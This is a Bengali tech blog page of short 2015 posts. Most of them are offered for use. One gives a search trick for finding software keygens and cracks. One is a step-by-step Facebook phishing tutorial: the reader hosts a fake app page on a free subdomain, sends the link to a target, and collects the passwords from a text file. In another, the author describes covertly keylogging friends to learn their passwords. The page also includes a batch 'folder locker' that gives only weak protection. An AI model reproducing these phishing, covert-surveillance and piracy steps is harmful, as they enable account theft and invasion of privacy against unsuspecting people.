Saturday, January 3, 2015

পৃথিবীর অন্যান্য সব দেশের তুলনায় আমাদের বাংলাদেশে ফ্রি সফটওয়্যার, পাইরেট সফটওয়্যার, ট্রা‌য়াল সফটওয়্যার ব্যবহারের প্রবণতা বেশি। যার অধিকাংশ আমরা ইন্টারনেট থেকে ট্রায়াল ভার্সন ডাউনলোড করে ব্যবহার করি। এই ধরনের সফটওয়ারের ক্ষেত্রে ট্রায়ালের নিদিষ্ট সীমা অতিক্রম হওয়ার পরই আমরা এই সফটওয়ার, গুলোর সিরিয়াল কি ইন্টারনেটে খুঁজে হয়রান হই।
অথচ একটু ভিন্ন ভাবে গুগল এ সার্চ করে আপনি খুঁজে বের করতে পারেন আপনার মেয়াদ উর্ত্তীর্ণ সফটওয়্যার এর সিরিয়াল নাম্বার, কিগান, প্যাচ খুব সহজেই আপনি যে সফটওয়্যার এর সিরিয়াল নাম্বার, কিগান, প্যাচ খুঁজছেন গুগলে সার্চ দেওয়ার সময় সেই সফটওয়্যারটি আগে লিখুন 94fbr অথবা সেই সফটওয়্যারটি (ভার্সন সহ) লিখে তার শেষে FBR94 লিখে সার্চ দিন।
দেখবেন গুগল শুধু সিরিয়াল নাম্বার, কিগান, প্যাচ এর হাজার হাজার লিঙ্ক দিচ্ছে আপনাকে।
উদাহরণঃ
94fbr Microsoft Office
94fbr Kaspersky
94fbr Adobe Photoshop
অথবা
Microsoft Office FBR94
Kaspersky FBR94
Adobe Photoshop FBR94
আশা করি এখন থেকে আর কোন সফটওয়্যার এর সিরিয়াল নাম্বার, কিগান, প্যাচ নিয়ে সমস্যা হবে না।
ভাল লাগলে Comment করে জানাবেন।
বেশী কথা না বলে এবার মূল কথায় আসি। আজ আমি আপনাদেরকে একটি ছোট কিন্তু অনেক বড় কাজের হাতিয়ার-এর সাথে পরিচয় করিয়ে দিব। এটি হচ্ছে ‘

‘CAMEYO”-যার দ্বারা আপনি যে কোন সফ্টওয়ারের পোর্টেবল ভার্সন তৈরী করতে পারবেন খুব সহজে। আর এটি নিজেও একটি পোর্টেবল তাই ইন্সটলের কোন ঝামেলা নেই। তাই পোস্টের শেষে আমার দেয়া লিংক হতে ডাউনলোড করে নিন।
আমি এই ধরনের যত গুলো সফ্টওয়ার ব্যবহার করেছি তার মধ্যে অবশ্যই এটি অন্যতম। এর ইন্টারফেস বেশ আকর্ষনিয় ও ব্যবহার খুবই সহজ। যে কোন নতুন ব্যবহারকরী এটা এক বার দেখেই ব্যবহার করতে পারবে। আমরা অনেকেই আছি যারা পোর্টেবল সফ্টওয়ার ব্যবহার করতে ভালবাসি, কারন এটা পিসির জায়গা অযথা দখল করেনা এমনকি সিস্টেম স্লো করেনা। কিন্তু সমস্যা হচ্ছে যে কোন সফ্টওয়ারের পোর্টেবল ভার্সন অনেক খুজাঁ-খুজিঁ করেও পাওয়া যায়না কিংবা থাকেনা। তাই আপনার আমার এই সমস্যার কথা চিন্তা করে ”CAMEYO”করে দিল  এর সহজ সমাধান।

ব্যবহার বিধি :

প্রথমে আমার দেয়া লিংক হতে ”CAMEYO” ডাউনলোড করে এটি ওপেন করুন(যেহেতো পোর্টেবল তাই ইন্সটলের প্রয়োজন নেই)। এবার নিচের মত চিত্র আসবে-

এবার লাল চিন্হিত Studio তে ক্লিক করে Capture app Locally তে ক্লিক করুন। নিচের মত একটি উইন্ডো ওপেন হবে-

এখানে অল্প কিছুক্ষন সময় নিবে কারন এটি আপনার সিস্টেমের যাবতীয় ইন্সটল কৃত সকল সফ্টওয়ারের একটি স্নেপশট নিবে। (এখানে উল্লেখ্য আপনি যে সফ্টওয়ারটির পোর্টেবল করতে চান তা আগে থেকে ইন্সটল করা থাকলে হবে না। উক্ত স্নেপশট নেয়ার পর তা ইন্সটল করবেন)। স্নেপশট শেষ হলে নিচের মত আর একটি উইন্ডো ওপেন হবে-

এখন আপনি আপনার সফ্টওয়ারটি (যেটি পোর্টেবল করবেন) ইন্সটল করুন। রিস্টাট চাইলে করুন কোন চিন্তা নেই, ”CAMEYO”অটোমেটিক চালু হবে। আার যদি রিস্টাট না চায় তবে প্রয়োজন নেই। অধিকাংশ সফ্টওয়ার রিস্টাট চায় না। আপনার সফ্টওয়ারটি ইন্সটল হলে “Install done”-এ ক্লিক করুন। এবার নিচের মত একটি চিত্র আসবে-

এবার আপনার সফ্টওয়ারটি ইন্সটল করার পরে আপনার সিস্টেমর একটি স্নেপশট নিবে। অল্প কিছুক্ষনের মধ্যে স্নেপশট শেষ হয়ে নিচের মত একটি “Successful” বার্তা আসব-

আপনার কাজ শেষ- এখানে OK বাটন প্রেস করুন। বেস তৈরী হয়ে গেল আপনার সফ্টওয়ারের পোর্টেবল ভার্সন। এবার পূর্বে আপনার ইন্সটলকৃত সফ্টওয়ারটি আনইন্সটল করে দিতে পারেন। আপনার তৈরীকৃত পোর্টেবল সফ্টওয়ারটি পাবেন C:/Documents/Cameyo apps এর ভিতরে। এবার ইচ্ছে করলে ওখান থেকে কপি করে আপনার ডেস্কটপে রেখে দিতে পারবেন।
 ”CAMEYO” ডাউনলোড করতে এখানে ক্লিক করুন।
কেমন আছেন সবাই? আসা করি সকলেই হেব্বি আছেন। আমি আমার পোস্ট এ সব সময় কিছু নতুন শেখানোর আশা করি। তবে আজকের বিষয় টি খুব পরিচিত!! ফেসবুক হ্যাকিং !! এই টিউন টি শুধু মাত্র নতুন দের জন্য। আসা করি পরিস্কার ভাবে বুঝাতে এবং শেখাতে পারব। যদি কাওরো কোন স্থানে বুঝতে বা প্রয়োগ করতে সমস্যা হয় তবে কমেন্ট করে বা আমাকে সরাসরি জানাবেন।
তাহলে আর দেরি না করে ফিরে আসা যাক মূল কাজ এ। আমরা বিভিন্ন ভাবে ফেসবুক হ্যাক করতে পারি। অনেক প্রকার মাধ্যম এর মধ্যে, ফিশিং ই হল অন্নতম মাধ্যম। কিন্তু আমরা কম বেশি সবাই ফিশিং চিনতে শিখেছি। তবুও যারা প্রফেশনাল ফিশিং পারে তারা ১০০% ফেসবুক হ্যাক করতে পারে। আজ আমি আপনাদের ফেসবুক হ্যাক করার এক নতুন পদ্ধতি শেখাব। এইটা হল ফেসবুক অ্যাপ এর মাধ্যমে , ত চলুন... শুরু করা যাক।

প্রথমে এই ফাইল টি ডাউনলোড করুন.........

ডাউনলোড করা হয়ে গেলে Extract করে নিন।





এই বার এই লিঙ্ক এ যান............



Register এ ক্লিক করুন !!
রেজিস্টার এ ক্লিক করার পর আপনার ভ্যালিড ইমেইল, আপনার পছন্দের নাম এবং পাসওয়ার্ড দিয়ে একটি নতুন Account তৈরি করুন।

Account Create হয়ে গেলে আপনার ইমেইল এ একটি VERIFICATION কোড যাবে, সেখান থেকে Verify করে দিলে আপনার Account একটিভ হয়ে যাবে এবং নিচের মত পেজ আসবে.........



এইবার Create A New Account এ ক্লিক করুন...... ক্লিক করার পরে নিচের মত পেজ আসবে...




এইবার সুন্দর একটি নাম নির্বাচন করুন, যাতে করে আপনার শত্রু বুঝতে না পারে। আমি fbapps4fun.hostwidus.com নির্বাচন করেছি। নির্বাচন করা হয়ে গেলে  Create এ ক্লিক করুন !

তারপর ...



View Result এ ক্লিক করুন ......
View Result এ ক্লিক করার পর আপনার Sub Domain Name টি দেখতে পাবেন... এবং তারপর SWITCH এ ক্লিক করুন।


তারপর ফাইল ম্যানেজার এ ক্লিক করুন...... এবং নিচের ছবি গুলো দেখুন...




এইবার File Manager টি ইন্সটল করুন...


ইন্সটল হয়ে গেলে View Result এ ক্লিক করুন... ক্লিক করার পর নিচের মত আসবে এবং এতে default নামের একটি ফাইল থাকবে। সেইটা Delete করুন।



এইবার EXTRACT করা ফাইল গুলো থেকে INDEX এবং DATA এই দুইটি ফাইল এইখানে আপলোড করুন। তারপর images নামে একটি Folder তৈরি করুন। এবং এতে EXTRACT করা Image গুলো আপলোড করে দিন। ব্যাস... কাজ মোটামুটি শেষ...





এইবার আপনি যে লিঙ্ক টি Create করেছেন তা আপনার শত্রু কে প্রবেশ করতে বলুন... যেমন আমি CREATE করেছি http://fbapps4fun.hostwidus.com । এইটি দেখতে হবে ঠিক নিচের মত ...




এখন এইখানে আপনার শত্রু এইটাকে অ্যাপ মনে করে লগ ইন করবে। লগইন করার পর সে সত্যি সত্যি ফেসবুক ফান অ্যাপ এ চলে যাবে ফলে সে বুঝতে পারবে না যে তার সাথে কি করা হল। এবং আপনার কাছে পাসওয়ার্ড টি চলে আসবে। পাসওয়ার্ড টি পেতে আপনাকে যেতে হবে http://yourdomain.hostwidus.com/mazaok.txt । উদাহরণ স্বরূপ; http://fbapps4fun.hostwidus.com/mazaok.txt

Thursday, January 1, 2015

ব্যক্তিগত ফোল্ডারের নিরাপত্তার জন্য আমরা বিভিন্ন পদ্ধতি অবলম্বন করে থাকি। অনেকে আবার এই কাজটি করতে বিভিন্ন থার্ডপার্টি সফটওয়্যার ব্যবহার করে। কিন্তু কোন সফটওয়্যার ছাড়াই আপনার ব্যক্তিগত ফোল্ডারকে সুরক্ষিত রাখতে পারেন।  কিন্তু এখন যে পদ্ধতি সম্পর্কে লিখছি, এই পদ্ধতি প্রয়োগ করে একই সঙ্গে ফোল্ডার হাইড এবং পাসওয়ার্ড দিয়ে রাখতে পারবেন।
নিচের ধাপগুলো অনুসরণ করুন।


cls
@ECHO OFF
title Folder Locker
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST Locker goto MDLOCKER
:CONFIRM
echo Are you sure and want to Lock the folder(Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Locker "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder locked
goto End
:UNLOCK
echo Enter password to Unlock folder
set/p "pass=>"
if NOT %pass%==type your password here goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Locker
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDLOCKER
md Locker
echo Locker created successfully
goto End
:End
 
 
 
  • নোটপ্যাড খুলে কোডগুলো পেষ্ট করুন
lpswd.PNG
  • পেষ্ট করা কোডে উপরের ছবিতে দেখানো যায়গায় আপনার পছন্দের পাসওয়ার্ড টাইপ করুন
  • *.bat এক্সটেনশন দিয়ে সেভ করুন। অর্থাৎ সেভ করার পূর্বে ফাইলটির নাম (যে কোন) দেবার পর .bat (xxxx.bat) দিয়ে তারপর সেভ করুন
  • এবার যে ফাইল বা ফোল্ডার হিডেন করতে চান সেখানে সেভ করা ফাইলটি রাখুন
  • ফাইলটির উপর ডাবল ক্লিক করুন এবং দেখুন সেখানে Locker নামে একটি নতুন ফোল্ডার তৈরি হয়েছে
  • এখন আপনি যেসব ফাইল বা ফোল্ডার সুরক্ষিত রাখতে চান সেগুলো কপি করে এই ফোল্ডারে রাখুন
  • এরপর আবার *.bat ফাইলটিতে ডাবল ক্লিক করুন এবং Y টাইপ করে Enter দিন
  • দেখুন Locker নামের ফোল্ডারটি গায়েব
  • ফোল্ডারটি ফিরিয়ে আনতে আবার *.bat ফাইলটিতে ডাবল ক্লিক করুন এবং আপনার দেয়া পাসওয়ার্ডটি টাইপ করে Enter চাপুন
  • দেখুন Locker নামের ফোল্ডারটি আবার ফিরে এসেছে
এভাবে আপনার ব্যক্তিগত ফাইল বা ফোল্ডারকে একই সাথে পাসওয়ার্ড দিতে পারেন এবং লুকিয়েও রাখতে পারেন।
 

আজ বসলাম একটা সফটওয়ার নিয়ে লেখার জন্য।
আমার বাসায় আমার অনেক বন্ধু আসে। এসে তাদের ই-মেইল চেক করে, ফেইসবুকে চ্যাটিংসহ যা কিছু করে তা আমি পরে সহজেই বুঝে ফেলি একটি সফটওয়ার এর মাধ্যমে। এর মাধ্যমে আমি তাদের ব্যবহৃত পাসওয়ার্ড জেনে ফেলি অতি সহজেই এবং পরে তাদের পাসওয়ার্ড তাদেরকে জানিয়ে পুরো চমকিয়ে দেই।
সফটওয়ার টার নাম হচ্ছে Refog Free Keylogger. এটির মাধ্যমে কম্পিউটারের সকল কাজগুলো এবং কী বোর্ড থেকে যে কীগুলো Press করা হয় তা সহজেই দেখা যায়।
এটি করার জন্য সর্বপ্রথম আপনাকে সফটওয়ারটি ডাউনলোড করে নিতে হবে। তারপর তা ইনস্টল করে নিতে হবে।
ইনস্টল করার পর আপনার কম্পিউটারের সব কাজগুলো সেভ হতে থাকবে। আরো বিস্তারিত...
বেশি Detail দিযে লিখতে পারলাম না ... জানি না কেমন হলো...
Comment করতে ভুলবেন না।
ইউটিউব থেকে ভিডিও ডাউনলোড করা যায় খুবই সহজ একটি পদ্ধতিতে। এজন্য প্রথমে এই লিংক থেকে RecFree টুলবারটি নামিয়ে নিন এবং সেটি আপনার কম্পিউটারে ইন্সটল করুন।
recfreetool.JPG
এরপর ব্রাউজার খুলে যে ভিডিওটি ডাউনলোড করতে চান সেটি সিলেক্ট করুন এবং টুলবারের Save As Video বাটনটিতে ক্লিক করুন। তারপর কোথায় সেভ করতে চান তা নির্ধারন করে দিলে ভিডিওটি MP4 ফরম্যাটে ডাউনলোড হবে। টুলবারটি দিয়ে MP4 এর পাশাপাশি MP3 ফরম্যাটেও ডাউনলোড করতে পারবেন। এটি IE, Firefox দুটিই সমর্থন করে।
নতুন বছরের শুরুতে আমার করা প্রথম টিউন ।এই টিউনটি আগে কোথাও করা হয়েছে কিনা জানিনা ।আমার জানামতে এই টিউন আমিই এই প্রথম করলাম ।যদি অন্য কোথাও করা হয়ে থাকে তাহলে মাফ করবেন ।পিডিএফ থেকে ইমেজ তৈরি করুন খুব সহজে মাত্র একটি ছোট সফটওয়্যার দিয়ে ।তাহলে আর কি ডাউনলোড করে নিন ।ইন্সটল দেওয়ার পর সিরিয়াল কী বসাবেন ।সিরিয়াল কী সহ এখান থেকে ডাউনলোড করুন ।আপনারা চাইলে ইমেজ এর সাইজ বাড়িয়ে কমিয়ে নিতে পারবেন ।
http://www.datafilehost.com/d/5ce89659
এ ছাড়াও আপনি অনলাইন এ কনভার্ট করতে পারেন ।তবে এই সফটওয়্যার এর মত হবে না ।আর অনলাইন এ আপলোড দিয়ে আবার ডাউনলোড দেওয়া সময় সাপেক্ষ ও নেট কানেকশন লাগবে ।এখান থেকে অনলাইন এ কনভার্ট করতে পারবেন ।
http://www.freepdfconvert.com/pdf-image
সবাইকে নতুন বছরের প্রানঢালা শুভেচ্ছা ।শুভ নববর্ষ ।